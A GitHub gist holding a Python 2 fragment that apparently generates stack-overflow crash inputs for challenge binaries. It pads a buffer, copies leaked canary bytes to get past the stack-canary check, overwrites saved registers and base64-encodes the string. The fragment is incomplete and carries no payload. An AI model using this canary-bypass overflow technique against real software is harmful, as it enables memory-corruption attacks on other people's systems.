Skip to content

Instantly share code, notes, and snippets.

@withzombies
Last active June 3, 2016 15:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save withzombies/058da8d69924a7e3326524653a089aba to your computer and use it in GitHub Desktop.
Save withzombies/058da8d69924a7e3326524653a089aba to your computer and use it in GitHub Desktop.
# Fill up the buffer
crash_string = "a" * buffer_size
# Append the first 4 bytes of the canary check (it's always 4)
crash_string += canary[:4]
# Pad out the rest of the string canary buffer
crash_string += "a" * ((canary_frame.offset * - 1) - 4)
# overwrite the saved registers
crash_string += 'eeee'
crash_string += '\n'
# Send the crashing string to the service
b64 = base64.b64encode(crash_string)
print chal, canary, crash_string.strip(), b64
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment